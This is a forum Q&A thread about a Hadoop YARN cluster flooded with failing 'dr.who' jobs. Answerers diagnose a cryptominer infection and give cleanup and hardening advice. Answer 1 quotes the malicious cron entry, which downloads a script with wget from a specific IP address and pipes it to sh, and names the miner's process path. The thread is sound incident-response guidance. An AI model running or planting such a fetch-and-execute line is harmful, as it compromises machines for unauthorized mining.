YARN Dr.who Application Attempt appattempt fail

Question

I am getting this error msg in my hadoop cluster. Can someone explain me why ? Somehow more the 2000 job applications are getting created and failing without any reason.

Answer 1

This might be a hack... There is a cryptocurrency miner that creates thousands of jobs like this.

Check for cron jobs as yarn on each node that are suspicious and remove them.

    $ sudo -u yarn crontab -e
*/2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1

Then check for a "java" process like this one and kill it.

/var/tmp/java -c /var/tmp/wc.conf

You should also secure all the incoming ports to your cluster to prevent this from coming back.

See this for more info too. https://community.hortonworks.com/questions/191898/hdp-261-virus-crytalminer-drwho.html

Answer 2

EDIT: I added small guidelines on how to deal with this problem here Google Cloud Dataproc Virus CrytalMiner (dr.who)

What is probably hapenning to you:

• the hacker scans every open vulnerability (IP address + port) and stores them to a breach table
• the hacker scans the breach table and tries to figure out whether you launched or not a cluster recently
• when a vulnerable cluster is available, the hacker connects to it (everything is open and a vulnerability has been found!)
• the guy connects to your cluster, removes everything (in my case, the script is named zz.sh and you can find it in the BitBucket link below) then downloads the mining app
• YARN thinks that workers are failing but I don't even think that a Hadoop application is running anymore.

I suggest you try to find a bitbucket/github address in your error logs. Also you can try to look for a get/wget/apt-get/curl command.

I guess he's rich now.

Two important things:

• check that your security group configuration is strong enough, without public authorizations everywhere
• check that your SSH key is not compromised.

Related:

• how-to-use-the-resourcemanager-web-interface-as-an-user
• hdp-261-virus-crytalminer-drwho.html